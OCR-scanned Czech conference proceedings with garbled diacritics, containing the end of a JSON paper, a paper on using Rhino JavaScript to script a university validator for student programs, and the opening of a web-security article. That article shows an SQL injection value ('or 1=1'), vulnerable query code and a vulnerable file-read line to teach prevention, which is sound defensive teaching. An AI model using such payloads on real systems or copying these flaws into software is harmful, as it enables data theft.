aktualni dotazy a notifikace (polling).

Za spravny lze povazovat pristup tvirca standardu k oSetfeni nevalidnich
dotazti a odpovédi. Nevalidni dotazy totiz musi byt ,zodpovézeny* uzavienim
spojeni a obdrzeni nevalidni odpovédi znamena pad vSech nezodpovézenych do-
taztl.

7 Shrnuti

JSON dokaze zaujmout svou jednoduchosti a ucelnosti. Je sympatické, ze po
obdobi prosazovani stale komplexnéjsich feseni se do stiedu zadjmu dostal jed-
noduchy forméat. Asi by si jinak takovou pozornost nezaslouzil, ale v kontrastu

vvvvvv

sviij smysl.
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PRAKTICKE UZITI SKRIPTOVACIHO JAZYKA
vV JAVOVSKE APLIKACI — VALIDATOR
STUDENTSKYCH PRACI

Lukas Valenta

E-MAIL: LVALENTAQKIV.ZCU.CZ

Abstrakt

Interpretovan€ jazyky a specidlni jejich podmnoZinu — scriptovaci jazyky — lze pouZivat
jako siln€ ndstroje, poskytujici aplikacim napsanym v kompilovanych jazycich mimo
jiné schopnost doprogramovdni urcité funkcnosti bez nutnosti rekompilace celé aplikace.
V tomto clanku je popsdno pouziti JavaScriptové implementace Rhino v projektu tzv.
,» Validacniho serveru — aplikace pro automatickou kontrolu studentskiyjch samostatnijch
praci. Prispévek je orientovdn zcela praktickym smérem — na prikladech z programu
budou ilustrovdny jak mozZnosti, které integrace scriptovaciho jazyka nabizi, tak i uskali
tohoto Teseni. Rhino umoZriuje snadné propojeni typtu a promeéenngych JavaScriptové
oblasti s tridami a instancemi v Javé. Aplikace je tak se scriptem provdzdana obéma
sméry — ona muZe spoustét scripty, ale i script muZe vyuZit funkcionalitu, kterd je
naprogramovdna v Javé.

1 Uvod

Scriptovaci jazyk JavaScript je notoricky zndm svym uzitim ve webovych prohli-
zeCich. V tomto ¢lanku bude pfedstaveno méné tradi¢ni pouziti tohoto jazyka.
Na Katedfe informatiky a vypocetni techniky, Zapadoceské univerzity v Plzni
byl vytvoren systém pro automatickou kontrolu studenty odevzdavanych praci.
Samotny proces kontroly (validace) je Fizen pravé JavaScriptem.

V prvnich kapitolach bude ¢tenar velice struéné sezndmen s JavaScriptem
a se zpusobem, jakym probihd odevzdavani a kontrola studentskych praci. Dale
se bude pozornost detailnéji vénovat architektutre valida¢niho serveru, jeho kon-
figuraci a poté konkrétné zptisobu integrace JavaScriptu do Javovského systému.
V zévéru budou diskutovany i vykonové aspekty pouzitého feseni.
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2 JavaScript

V této kapitole je ve strucnosti popsana historie jazyka a jeho vlastnosti.

2.1 Historie

JavaScript [3, 4] byl piivodné vyvinut firmou Netscape na konci roku 1995, za-
¢atkem nésledujiciho byl vydan jiz jako soucast prohlizece Netscape 2.0. Kvili
okamzitému tispéchu tohoto webového klientského scriptovaciho jazyka predsta-
vil Microsoft ,kompatibilni“ jazyk JScript [7] v prohliZe¢i Internet Explorer 3.0.
Zde je dle nazoru autora zfejmé potfeba hledat praptivodni pfic¢iny faktu, Ze snad
az dodnes se v riznych prohliZzecich setkdvame s vice ¢i méné nekompatibilnimi
implementacemi tohoto jazyka.

V té dobé totiz jesté neexistoval zadny standard, jednalo se pouze o vlastni
projekty rtznych firem. AZ koncem roku 1996 zaslala firma Netscape svij Ja-
vaScript ke standardizaci do ECMA International [1]. Vznikla specifikace
ECMA-262, ktera standardizovala jazyk s ndzvem ECMAScript [2]. Jazyky Ja-
vaScript a JScript jsou od té doby oznacovany jako ,dialekty“ EMCAScriptu —
kompatibilni, avsak kazdy poskytuje navic néjakou mnozinu charakteristickych
rysu, které nejsou v ECMA-262 obsazeny.

Posledni verze ECMA-262 specifikace (verze 3) pochézi z roku 1999, verze 4
je stale ve vyvoji.

2.2 Jazyk

Zamérme se nyni ale jiz Cisté€ na JavaScript — jedna se o dynamicky scriptovaci
jazyk se slabym typovym systémem. S Javou mé spolec¢nou (¢i velice podobnou)
pouze syntaxi. Co znamenaji jednotlivé ptivlastky?

dynamicky Pokud si odpustime komplexnéjsi definici, velice pékné vystihuje
tato véta: ,,Vse, co mize byt jazykem popsano, muze vzniknout a byt mo-
difikovdno i za béhu“ (napf. pfiddvani nového kédu, modifikovéni typového
systému, rozsifovani objektt, .. .).

scriptovaci Je takovy programovaci jazyk, ktery slouzi k ¥izeni ¢i ovladani apli-
kaci (jsou nezavislé na aplikaci, kterd je obvykle napsana v jiném jazyce.
S aplikaci komunikuji prostfednictvim domluveného rozhrani).

slaby typovy systém Opét netrividlni shrnout do jedné véty — jazyk, ktery je
staticky kontrolovany (pfi piekladu), ale nemtZe plné garantovat absenci
typovych chyb za bé&hu [9)].

Vétsinou se s JavaScriptem setkdvame v prohlizecich, kde fidi chovani zob-
razené www stranky na klientské strané. Méné znamé je vSak pouziti jazyka
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k jinému tcelu, naptiklad na strané serveru [5] ¢ ke scriptovani aplikace stojici
zcela mimo oblast webu.

3 Automaticka kontrola semestralnich praci
studentt

V této c¢asti budou popsany okolnosti a divody vzniku validatoru studentskych
praci [8] na Katedfe informatiky a vypodetni techniky, Zapadoceské univerzity
v Plzni.

Vsichni studenti prvniho ro¢niku Fakulty aplikovanych véd (v letech 2006
i 2007 cca 460 student) absolvuji kurz ,Pocitace a programovani* (ddle jen
PPA1, PPA2) [10]. Ué¢i se od zékladii programovani v jazyce Java. Cvic¢eni z pred-
métu spocivaji mimo jiné v feseni mnoha malych prikladd, béhem semestru je
tloh cca 20. Prostym vynéasobenim a s pfihlédnutim k opakovanym odevzdanim
(opravam) zjistime, ze pocet jednotlivych odevzdanych soubord vSemi studenty
je 12800 — coZ je presny udaj z roku 2007/08. Takové mnozstvi by zcela zahl-
tilo cvic¢ici pfedmétu a proto jsme v ramci dvou katedralnich projekti postupné
navrhli a implementovali systém, ktery dokaze odevzdavané tlohy kontrolovat
automaticky.

Studenti pouzivaji k odevzdavani praci webovou portletovou aplikaci umis-
ténou na strankach predmétu [10, 11] na portale ZCU. Portlet praci odesle na
validacni server ke kontrole a poté zobrazi studentovi vysledek této kontroly
(ano/ne plus piipadné dopliujici informace, které vygeneroval validator). Stu-
denti mohou prace odevzdavat vicekrat a dosahnout tak stavu, kdy je jejich
prace uznana jako spravna.

Odevzdani RMI
—> | WWW rozhrani| |~ | Validacni server
< |(portalZ8U) || & |(kontrola)
Vysledek Vysledek

Student  validace validace

Obr. 1 Proces zpracovani odevzdané préce

4 Validacéni server

V této kapitole bude pfedstaven zdkladni princip valida¢niho serveru [8] tak, jak
je uveden na obrazku 2.
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Vstup validace —» Rozhrani VS
(RMI, MySQL, SOAP, ...

Validacni server |

—
—

-_—
Ur&eni validaéni domény Validaéni domény |
Doména PPA1
-_——
Uvodni kontroly - — — }><Proces vaIidace)
~_—— e —

7 ~
// -7
é/

~
~

Zpracovani vysledku Dalsi domena ...

o>

[,

YV
Vystup validace

Obr. 2 Princip prace valida¢niho serveru

. Vstupni soubor a dalsi vstupni informace dorazi na rozhrani validatoru.

Pfi zminéné komunikaci s portalem ZCU se pouzivd volani RMI (Remote
Method Invocation).

. ,,Valida¢ni doména® definuje konkrétni pravidla a proces validace. Existuje

tedy doména pro kontrolu semestralnich praci zminéného pfedmétu PPA1
a nezavisle na ni dalsi domény napi. pro predméty JXT, UUR nebo pro
studentskou soutéz PilsProg [12] atd. Nazev domény, dle jejiz pravidel se
zaslany soubor validuje, je vstupnim parametrem validace.

. Vstup projde zékladnimi kontrolami, které jsou nadefinovany jiz na trovni

konfigurace validatoru. Napf. maximéalni velikost souboru, pfipona atd.

. Validator pfipravi ,padu” pro validaci — vytvorii pracovni adresar, nahraje

do néj zaslany soubor, vytvori nové vlakno pro validaci a nastavi maximéalni
moznou dobu validace podle nastaveni domény.

. Spusténi vlastniho validaéniho procesu: Je spustén validacni proces,

ktery je definovan pro konkrétni doménu. Jedna se o kombinaci XML ele-
mentt s JavaScriptovym programem. Script mize vyuzivat mnoho sluzeb
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poskytovanych valida¢nim serverem a generuje postupné vysledek validace.
Na tento krok se budeme déle soustiedit.

6. Béhem validace se postupné vytvari tzv. ValidationResult — vysledek vali-
dace. Ten obsahuje nejruznéjsi informace o validaci, chybové hlasky atd. —
cokoliv, co autor valida¢ni domény povazuje za dtlezité sdélit studentim,
ktetri praci odevzdali. Tento vystup muze byt pfeveden do HTML formy
a ulozen na misto okamzité pristupné pres www. Mozné jsou dalsi formy
vystupu, naptiklad uloZeni do databaze ¢i XML souboru.

7. Vycisténi pracovniho adresafe, navraceni vysledku validace klientovi.

4.1 Proces validace

V predchozi ¢asti byl uveden obecny postup, jakym odevzdany soubor prochézi.
Zde se zaméfime na jadro vlastni validace, na paty bod — ,,Spusténi vlastniho
valida¢niho procesu“.

Toto je ¢ast validatoru, kterou chceme mit zcela konfigurovatelnou. P¥i ana-
Iyze pozadavki na systém se nejprve probirala moznost sestavit postup validace
jen z jakychsi pevné predprogramovanych krokt, do kterych ptijde nejvyse dopl-
novat proménné a vyrazy a tak proces validace fidit. Jiz prvni pfipadova studie
(pfedmét PPA1, viz kapitola 4.3) ale ukédzala, Ze je potfeba dat tvircim validac-
nich domén zcela obecny zpusob, jak si ,naprogramovat® svij proces validace.

Proto bylo rozhodnuto, Ze vlastni proces validace bude definovan néjakym
scriptovacim jazykem, ktery umozni autortim valida¢ni domény naprogramovat
libovolné kontroly. Valida¢ni server bude témto scriptim pouze poskytovat roz-
hrani s mnozstvim dopliikovych sluzeb.

Jedinym zavaznym pozadavkem na scriptovaci jazyk bylo, aby existovala
stabilni a ovéfena implementace tohoto jazyka pro Javu. Vyhodou by bylo
pouzit néktery znamy jazyk a proto jsem nejprve zkusil najit implementaci
JavaScriptu'!. Byla zvolena implementace Rhino [6].

Rhino je open source projekt, napsany cisté v Javé, ktery spravuje Mozilla
Foundation. Projekt vznikl na podzim 1997, kdy Mozilla planovala vydani Net-
scape Navigatoru naprogramovaného ¢isté v Javé. Po upusténi od tohoto cile se
projekt postupné stal open source. Rhino prevadi JavaScriptové scripty na Ja-
vovské tiidy, ¢imz se vyrazné zvysuje jejich rychlost oproti druhé mozné varianté
zpracovani — interpretovanému rezimu (srovnédni rychlosti viz kapitola 5).

ltento mona netradiéni ptistup se v uvedeném piipadé nakonec ukdzal jako po viech
strankach vyhovujici.
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4.1.1 Konfigura¢ni soubory validace

V této kapitole bude predveden zpisob, jakym se konfigurace procesu validace
provadi. Nejprve maly priklad, ktery provadi ukazkovou kontrolu — predpokla-
dejme, ze studenti odevzdévaji . jar soubory a my se chceme jen ujistit, ze se
uvnit? nich nachazi hlavni tfida, jejiz nazev je ulozen v konfiguraci domény:

<validation-process>

<script>
/* pretu nézev hlavni t¥idy z"konfigurace domény */
var mainClassName = domain.getDomainProperties().
getProperty("main_class_name") ;
</script>

<!-- volani podprocesu, kterj rozbali jar soubor -->

<call process="/common/extractzip.xml">
/* parametry podprocesu - jaky jar rozbalujeme a“kam */
<param name="zip">inputFile</param>
<param name="dir">workDir</param>

</call>

<!-- Pokud nastala né&jaka chyba, koncim -->
<quit-if-error/>

<!-- Kontrola zda existuje soubor s“hlavni tiidou -->
<if>
<condition>
! (new Packages.java.io.File(
workDir, mainClassName)).exists()

</condition>
<then>
<!-- vypiSu chybu z"ResourceBundle -->
<error key=“cz.kontrola.neni_main_soubor"/>
</then>
</if>

</validation-process>

Jak jiz bylo zminéno v kapitole 4, byla zvolena mozné ponékud zvlastni
kombinace XML a JavaScriptu®. Diivodi, pro¢ nebylo mozné pouzit pouze jediny
textovy soubor obsahujici pouze JavaScript, je nékolik:

RozloZeni kédu do vice soubort, jejich vzdjemné volani a predavéani para-
metri. Takto lze kéd vykonavajici casté operace ulozit do adreséare sdi-

21 kdyz — pokud lze kombinovat HTML a JavaScript, pro¢ ne XML
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leného vSemi doménami (common). P¥ikladem je volani podprocesu, ktery
zaridi rozbaleni zip/jar soubort:

<call process="/common/extractzip.xml">

Potreba zavést specialni programové struktury Zminim tu nejdilezitéj-
si: Casovy limit pro vykonavani ¢asti procesu, XML element time-1imi-
ted. Zapouzdiuje libovolné mnozstvi dalsich elementti a slouzi k omezeni
maximalni mozné doby zpracovani téchto elementti. Pokud je doba zpra-
covani prekrocena, okamzité je zpracovani preruseno a celd validace je
ukoncena s vystupni chybou timeout. Tato jednotliva casova omezeni se
mohou vnofovat — zakladni ¢asové omezeni je definovano v konfiguraci do-
mény a omezuje celkovou dobu validace. Toto omezeni byva obvykle tfeba
20 vterin. Dalsi vnofend omezeni se typicky pouziji napiiklad pro omezeni
doby piekladu (¢ béhu) zaslanych tloh:

<!-- omezeni doby pfekladu na 3 vtefiny -->
<time-limited time="3000"
exceed-message="cz.kontrola.compile_timeout">

<!-- volani podprocesu pro preklad -->
<call process="/common/compilefile.xml">
<param name="file">inputFile</param>
<param name="outputDir">workDir</param>
</call>

</time-limited>

Strojové generovani procesu validace Jiz v dobé ndvrhu bylo jasné, Ze po-
uziti scriptovaciho jazyka je prilis komplikované pro vétsinu ,,obycejnych®
uzivateli-vyucujicich, ktefi si budou naptiklad chtit zkontrolovat jen jed-
noduché formalni aspekty odevzdavanych praci. Proto se predpokladalo
naprogramovani webového rozhrani, které umozni konfigurovat proces va-
lidace jednodussim zpisobem — podobné, jako se definuji napfiklad emai-
lové filtry na nejznaméjsich freemailovych serverech. Vyucujici si pak ,na-
klikaji“ nékolik krokt, kde budou nabidnuty jen zédkladni moznosti, které
ovSem dle zndmého poméru 80 : 20 budou vétsiné uzivatelu stacit.

V soucasné dobé (¥ijen 2008) je jiz hotovd prototypovd implementace,
ktera byla zadana studentovi patého ro¢niku jako semestralni projekt. Toto
webové rozhrani ¢astecné pracuje primo nad soubory s procesem validace
a proto se mu pouziti XML hodi.



64 Lukas Valenta

4.2 Integrace Javy a JavaScriptu

V naésledujicich podkapitolach budou jiz konecné uvedeny slibené praktické
ukazky ¢asti aplikace, kterd v sobé integruje JavaScriptovou implementaci Rhino.
Nejprve bude predvedena ¢ast z Javy, tj. jak inicializovat JavaScript, jak scripty
spoustét a ziskavat jejich vystupy. Poté bude ukazan zpisob, jak naopak ze
scriptu pfistupovat k objekttim v Javé a k proménnym, které byly z Javovského
prostiedi preneseny.

4.2.1 Initializace scriptovaciho engine

Jak je vidét z nasledujici ukazky, je potfeba prevést Javovské typy na interni
typovou reprezentaci pouzivanou scriptovacim engine metodou
Context.javaToJS (). Ostatni kroky jsou popsany v komentarich:

/* Ziskani JS contextu */
jsContext = ContextFactory.getGlobal().enterContext();

/* nastaveni contextu - optimalizace, locale, ... */
jsContext.setOptimizationLevel(1);
jsContext.setLocale(info.getValidationInput().getLocale());

/* vytvoreni zakladniho Scope s~vychozim obsahem */
scope = jsContext.initStandardObjects();

/* vlozim tam objekty, ke kterym bude moci JavaScript */

/* reference na doménu, vstupni soubor, pracovni adresa¥, ... */

ScriptableObject.putProperty(scope, "domain",
Context.javaToJS(info.getDomain(), scope));

ScriptableObject.putProperty(scope, "inputFile",
Context.javaToJS(info.getInputFile(), scope));

ScriptableObject.putProperty(scope, "workDir",
Context.javaToJS(info.getWorkDir(), scope));

4.2.2 Vnorovani scopes — rozsahu platnosti objekta

Mizeme programové Fidit i tzv. scopes objekt — ¢ili rozsaht platnosti (napf.
proménnych). Napiiklad pfi provadéni elementu call (volani podprocesu) je
potfeba podproces spustit ve vlastnim scope. Proménné definované v podprocesu
pak budou mit pfistup k proménnym rodi¢ovského procesu a nikoliv naopak
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(stejné jako ve funkci méme pfistup ke globalnim proménnym). Po vykonani
podprocesu se jim deklarované proménné zrusi.

/* vytvofeni nového ’newScope’ pro rodiovsky ’scope’ */
Scriptable newScope = jsContext.newObject(scope);
newScope.setPrototype (null) ;

newScope . setParentScope (scope) ;

/* volani podprocesu s novym ’scope’ */
subProcess.execute(jsContext, newScope, ...);

4.2.3 Inicializace, pifeklad a spousténi scriptu

Kazda ¢ast XML, ktera obsahuje JavaScript, je reprezentovana t¥idou Script-
Statement, kterd zajistuje jeho zivotni cyklus. Po nacteni scriptu se provede jeho
preklad, ¢imz se jednak prevede do byte-kédu pro pozdéjsi spousténi a jednak
odhali pfipadné chyby jiz pfi startu valida¢niho serveru:

/* script je uvnit¥ XML elementu */
String script = element.getText();

/* Ziskani JS contextu */
Context jsContext = ContextFactory.getGlobal().enterContext();

/* pteklad scriptu */
Script compiledScript = jsContext.compileString(script, ...);

V piipadé chyby pii prekladu scriptu je vyhozena piislusna vyjimka odvozena
od RhinoException, o kterou se poté zbytek programu postara. Vlastni spusténi
scriptu je pak jiz velice snadné:

Object jsResult = compiledScript.exec(jsContext, scope);
Integer javaResult = (Integer) Context.jsToJava(jsResult, Integer.class);

V tomto pripadé je ukdzana situace, kdy je jako vysledek scriptu ocekavano
celé ¢islo. Stejné jako v predchozim piipadé je jesté potieba prevést zpét Ja-
vaScriptovou reprezentaci typu na java.lang.Integer.

4.2.4 Pristup ze scriptu k objektam v Javé

Zatim jsme se vénovali pouze ovladani scriptovaciho engine z Javy a predévani
parametru scriptim. V této ¢asti bude ukazana opacnd strana mince — jak ze
scripti pristupovat k Javovskym objektim a tedy také k API valida¢niho ser-
veru:
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<script>
/* ’inputFile’ je proménnd type java.io.File zavedena
do scriptu z"Javy. Ukazuje na vstupni soubor. */
var cesta = inputFile.getAbsolutePath();

/* Vytvofeni instance Javovské t¥idy, je potfeba
pouzit prefix ’Packages’ */

list = new Packages.java.util.ArrayList(1);

list.add(cesta);

/* Volani statické metody z“API valida&niho serveru */

if (! Packages.cz.zcu.validationserver.
codeanalyzers.ByteCodeAnalyzeUtils.isUsingOnlyPackages(...) ) {
/* nepouziva pouze povolené baliky */

}

</script>

4.3 Pripadova studie — predmét PPA1

Jako praktickou ukazku skutec¢ného procesu validace uvedu predmét PPA1.

Odevzdava se 20 kratkych dloh. Kazda tloha nejprve nacte nékteré udaje ze
standardniho vstupu, poté provede urceny kol a nakonec vypise vystup. Vyu-
Cujici pfedmétu dodaji na zacatku semestru vzorové programy ve zdrojové formé
(.java) a soubory se vstupnimi daty (muZe byt vice riiznych testovacich vstupt
pro kazdy program). Valida¢ni server tedy nejprve pfelozi vzorové programy
a poté je spusti pro vSechny vstupy — pomoci vzorovych programt si vygeneruje
ocekavané vzorové vystupy.

Samotna kontrola zaslané prace spociva nejprve v prekladu zaslaného java
souboru. Poté je spustén, jsou ziskdny vystupy a ty poté porovnany s vystupy
vzorovymi. Porovnani bere v potaz riizné mozné odchylky (bilé znaky, toleranci
ve vystupu desetinnych ¢isel, ...). Pokud jsou vSechny vystupy shodné, je va-
lidace v poradku, v opac¢ném pripadé uvidi student na www strance porovnani
svych a vzorovych vysledki.

Nasleduji dilezité ¢asti scriptu této domény:

<!-- volani podprocesu, ktery zkontroluje,
zda se jedna o"Java zdrojak -->
<call process="/common/checkjavasource.xml">
<param name="file">inputFile</param>
</call>

<!-- prelozim zaslany soubor, nejdele 5 vterin -->
<time-limited time="5000" exceed-message="ppal.prekrocil_compile">
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<call process="/common/compilejava.xml">
<param name="file">inputFile</param>

</call>
</time-limited>

<time-limited time="5000" exceed-message="ppal.prekrocil_spousteni">

<!-- telo cyklu
<while>

se opakuje dokud plati ’condition’ -->

<!-- dokud existuje soubor .in<index> se vstupem -—>

<condition>

inFile = new java.io.File(domainDir,’vzory/Vzor.in’+index);
inFile.exists() <!-- toto je vystupem podminky -->

</condition>
<body>

<!l-- soubory s”vystupy vzoroveho a“testovaneho programu -->

<script>

vzorQutput = new java.io.File(vzoryDir,’Vzor.out’+index);
testOutput = new java.io.File(workDir,’Test.out’+index) ;

</script>
<!-- nyni zjistim vystup testovane tridy - spustim ji -->
<call process="/common/invokejava.xml">
<param name="mainClass">className</param>
<param name="classPath">workDir</param>
<param name="stdIn">inFile</param>
<param name="stdOut">testOutput</param>
</call>
<!-- vystupy porovnam -->

<call process="/common/comparefiles.xml">
<param name="filel">vzorOutput</param>
<param name="file2">testOutput</param>
</call>

<script>
index++;
</script>

<quit-if-error/>
</body>
</while>
</time-limited>

67
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4.4 API Validaéniho serveru

Na zavér kapitoly o valida¢nim serveru uvedu seznam hlavnich sluzeb, které jsou
naprogramovany primo jako soucast serveru a které jsou poskytovany scriptim
prostiednictvim aplika¢niho rozhrani:

e Prekladace Javy, Pascalu, C

e Spousténi Java i binarnich programu véetné zabezpeceni spousténych
programu — spousténi pod zabezpefenym uzivatelem (sudo)

e Analyza byte-kédu Java programii, zjistovani pouzitych balikt, tiid,
metod

e Analyza C link souboru, zjistovani pouzitych funkci

e Cachovani — nékteré soubory neni tfeba vytvaret pii kazdé validaci (napf.
vzorové vystupy, viz piipadova studie, kapitola 4.3), proto mohou byt ulo-
zeny do cache

e Utility pro porovnavani textovych vystupu programu

e Casova omezeni — jiz zminéna ¢asova omezeni pro vykonavani ¢asti va-
lidace

4.5 Nevyhody popsaného feseni
Popsané reseni ma samoziejmeé i nékteré nevyhody:

e Vnofeni JavaScriptu do XML si zadda respektovani zvlastnich znakt, které
jsou v XML zapisovany jako specialni entity. Nejcastéji se tedy asi setkdme
s prapodivnym zépisem znaki ,vétsi“ (>), ,mensi“ (<) a znaku &. Nésle-
dujici zapis vypada bohuzel opravdu nepiehledné:

<script>
if ( s.length &lt; 10 &amp;&amp; s.length &gt; 5) {

}

</script>

e Obtizné ladéni scripti. Pouziti dynamického jazyka se slabym typovym
systémem redukuje mnozstvi chyb, které je jeho piekladac schopen ohla-
sit. Neexistuji prakticky zadné typové kontroly pti prekladu a i za béhu je
chovani skutecné velice ,,vagni“ — s nadsazkou lze Tict, Ze mtzete ,naso-
bit Fetézce a spojovat ¢isla“. Implicitni typové konverze selzou az teprve
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v extrémnich pripadech. Prestoze i tyto konverze jsou ve slabé typovaném
jazyce presné definovany a v ¢isté JavaScriptovych aplikacich (nap¥. v html
strankach) ndm nevadi, v pfipadé spojeni se silné typovanym a statickym
jazykem (Javou) to pfinasi problémy.

Program vétsinou pada az za béhu a to pfi volani Javovych ¢asti kédu z Ja-
vaScriptu — tedy v misté, kde je jiz potifeba hodnoty prevést na Javovské
typy. Pfi¢ina toho, pro¢ v parametru, kde je ocekdvéano ¢islo, se nachézi
Tetézec ,java.io.Filel7“, se pak hledaji ve scriptu obtiznéji.

Césteénym FeSenim je planovand tprava, kdy by validaéni server umoziio-
Zinu validaci — scripty budou tedy nejen pfelozeny (jako obvykle), ale i bu-
dou spustény pro nékolik pripadi. Bude se tedy jednat o jakési zabudované
,unit-testovani®.

5 Vykonové aspekty

Dulezitym pohledem na zvoleny scriptovaci jazyk je analyza vykonu zvolené
implementace. Vykon ¢i rychlost se samoziejmé nedé nijak pfesné zméfit a ani to
neni nasim cilem. Pfed pouzitim Rhino jsem si pouze potfeboval udélat hrubou
predstavu, zda nebude zpracovani scripti prilis ,,pomalé“ a mit zdsadni vliv na
vykon celé aplikace (a tedy pfedevsim na dobu validace jednotlivé odevzdané
préce).

Tabulka 1 Vykon Rhino implementace

Suma
Java | JS — interpretovano | JS — bez optimalizace | JS — optimalizace
Preklad Béh | Preklad Béh | Preklad Béh
0.09 1.87 86.66 3.12 30.24 2.80 28.68
Faktorial
Java | JS — interpretovano | JS — bez optimalizace | JS — optimalizace
Preklad Béh | Preklad Béh | Preklad Béh
0.43 1.09 80.89 2.03 19.17 2.65 10.60

V JavaScriptu a Javé bylo napsano nékolik kratkych programovych kon-
strukci. Tyto kratké kousky programu byly poté spoustény 1000x a zjistovana
jejich primérnd doba béhu. U JavaScriptu bylo vZdy provadéno rovnou néko-
lik méfeni — doba béhu v piipadé interpretovaného spusténi (Rhino nepiekla-
dalo scripty do byte-kédu, ale vZdy interpretovalo), doba piekladu do byte-kédu
a poté doba spusténi prelozeného scriptu pfi nékolika drovnich optimalizace.
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V tabulce 1 jsou uvedeny dva testy: suma (cyklus a v ném pocitani sumy) a fak-
toridl (vypocet faktoridlu rekurzi). V§echny hodnoty jsou uvedeny v milisekun-
déch.

Doby potifebné pro prelozeni scriptti nas nezajimaji, protoze tato operace
se provadi pouze jednou pii startu validacniho serveru (pfipadné pii reloadu
konfigurace) a zde neméme na rychlost zddné zv14stni pozadavky. Pfi pohledu
na srovnani rychlosti Java kédu a byte-kdédu vygenerovaného z JavaScriptu je
potfeba brat v ivahu, ze JavaScriptovy kéd obsahuje ohromné mnozstvi ,ser-
visnich* operaci — ¢teni/uklddani proménnych do scope scriptu, testovani zabez-
peceni atd. Tento fakt jsem si ovéril dekompilaci a prohlédnutim vytvoreného
byte-kddu.

Jesté jednou upozornuji, ze lze dlouho diskutovat o tom, zda jsou takto pro-
vedené testy a méreni objektivni, zda vyjadiuji vykon vétsich scripti pouzitych
v realnych aplikacich a zda lze z vysledki viibec néco usuzovat. Velice zalezi na
tom, na jakém scriptu se méfeni provadi, ale presto si myslim, ze pro predstavu
v tomto konkrétnim piipadé to urcité staci.

6 Zavér

V tomto akademickém roce bézi systém jiz druhym rokem, loni byl provéren
a odladén na vice nez 14 000 odevzdanych souborech v nékolika valida¢nich do-
ménéach. Zaroven byl validator vyuzit pfi vyhodnocovani programatorské soutéze
PilsProg [12] organizované katedrou, ve které bylo odevzdéano pfes 500 praci.

Pouziti JavaScriptu pro konfiguraci valida¢nich domén se velmi osvédcilo.
Po sepsani detailni dokumentace k valida¢nimu serveru si jiz nékolik dalSich
cvidicich napsalo scripty pro vlastni validaéni domény a Gspésné je pouziva at
pro komplexni kontroly odevzdanych praci, tak tfeba jen pro kontrolu formal-
nich aspekti. Zde se jako vyhoda projevila pravé vSeobecna ,znamost* jazyka
JavaScript a jeho pouziti ve zcela jiném prostiedi nez je www nedélalo zadné
problémy.

Jak jsem jiz zminil v kapitole 4.1.1, byla dokonc¢ena prvni provozuschopna
verze webového rozhrani, které pracuje nad valida¢nim serverem a je de-facto
editorem jeho konfigurace. Umozni i vyucujicim-uzivatelim ,naklikat* si jedno-
duché kontroly odevzdavanych praci podobné, jako se vytvareji filtry emailovych
zprav napt. na email.seznam.cz.

Z pohledu vyvojare aplikace mohu Rhino doporuéit — integrace scriptu
s vlastni aplikaci, moznost pfedkompilovani scripti, moznost ru¢né ridit jmenné
prostory scriptu, zabezpeceni — vSe funguje bez nejmensich problému. Dokumen-
tace a ukézkové piiklady na webu Rhino [6] zac¢dte¢nikiim pomohou okamzité
zprovoznit prvni scripty. Knihovna je velice dobie odladéna a zdokumentovana,
navic je samoziejmé k dispozici zdrojovy kéd.
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BEZPECNOST NA WEBU

Petr Ferschmann

E-MAIL: PFERSCHMANN@SOFTEU.COM

V tomto ¢lanku si ukdzeme nékteré casté bezpecnostni chyby webovych apli-
kaci a postupy jak jim pfedchézet. V dnesni dobé je stale vice systému tvoreno
touto formou a také mnoho z nich vice vyuzivd AJAX (Asynchronous JavaScript
and XML), SEO (Search Engine Optimisation) a REST (Representational state
transfer).

Kazdy systém muze byt napaden na mnoha trovnich — od opera¢niho sys-
tému serveru az po prohlize¢ uzivatele. My se zaméfime na problémy, které jsou
zpusobeny interakci webové aplikace a prohlizece. Jinymi slovy, zaméfime se
pouze na HTTP, HTML a JavaScript.

Predem budeme predpokladat, ze operac¢ni systém serveru je dobfe zabezpe-
¢eny, nelze odchytit ani podvrhnout data p¥i pfenosu siti (napt. diky Sifrovani),
a ze ma uzivatel aktualizovany operacni systém vcetné prohlizece.

Nez zaéneme

Pripomernime si nejprve nékteré zakladni prvky protokolt HT TP a HTML. HTTP
je bezestavovy protokol, jehoz zdkladem je URL, které identifikuje dokument
poskytnuty uzivateli. I pfesto, ze je HT'TP bezstavové, existuje samoziejmeé né-
kolik zpisobi jak predavat stav aplikace. Zakladem je jiz uvedené URL. Apli-
kace si zde mize ulozit tdaje a ty pak prendSet ze stranky na stranku (in-
dex.php;JSESSIONID=abc). Dalsi moZnosti je pouziti cookie. Jde o kréatkou
textovou informaci prijatou ze serveru v HT'TP hlavic¢ce pozadavku. Kazda co-
okie je také vadzand na doménu, ze které byla prijata. Pfi komunikaci se servery
z této domény je pak cookie posilana s kazdym pozadavkem tam a zpét.

V HTTP také existuje nékolik ,metod“ komunikace. Zékladem je POST
a GET. GET se pouziva pro zjisténi ¢i precteni informaci ze serveru. Pozadavky
metodou GET by nemély modifikovat stav na serveru. Diky této vlastnosti, mo-
hou crawlery (internetové vyhledévace) libovolné generovat pozadavky s touto
metodou (odkazem nebo i formuldfem). Naopak POST se pouziva hlavné k mo-
difikaci stavu a také v pripadech, kdy chceme nahrat na server vétsi mnozstvi
dat (napf. nahrat soubor).

V nésledujicich odstavcich se budeme vénovat konkrétnim typtm chyb.
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Injection a SQL Injection

Prvni typ atoku vyuziva Spatného oSetfeni vstupu od uzivatele pii sestavovani
dotazi a parametrt do jinych systému. Nejcastéjsim typem tohoto utoku je SQL
Injection — $patné obsluha parametrt pii tvorbé SQL dotazt.

Ukézka Spatného pouziti (do proménné param ukldddme hledany text):

String query = "select * from tabulka where field = ’"+param+"’";

Pokud vsak uzivatel do param umisti hodnotu "’ or 1=1 or field = ",
mize tak precist vSechna data v celé databazi. Pfipadné diky subselectiim ¢i
jointim precist i data z jinych tabulek.

Tento problém mé nastésti snadné feseni — nepredévat parametry pomoci
jednoduchého skladani fetézcti, ale pomoci pozicovych (JDBC) nebo pojmeno-
vanych (Hibernate, JPA) parametrii. Ty se postaraji o spravné obaleni parame-
tri.

String query = "select * from tabulka where field = :p{\_}field";
Query q = session.createQuery(query);
q.setString ("p{\_}field", param);

Pokud budete striktné dodrzovat tento pristup, lze snadno identifikovat pro-
blémy jiz pfi letmém pohledu na kéd.

Tento typ problému se tyka i dalSich dotazovacich systému jako je LDAP ¢i
funkce typu eval (spust kéd uloZeny v proménné) v dynamickych jazycich.

Spusténi souboru

V ptipadech, kdy se pomoci parametru nacitéd nebo spousti soubor z disku a neni
spravné kontrolovan vstup, lze aplikaci presvédcit k precteni Spatného souboru.
Pokud aplikace vypada takto:

readfile ({\$}{\_}GET["file"]);

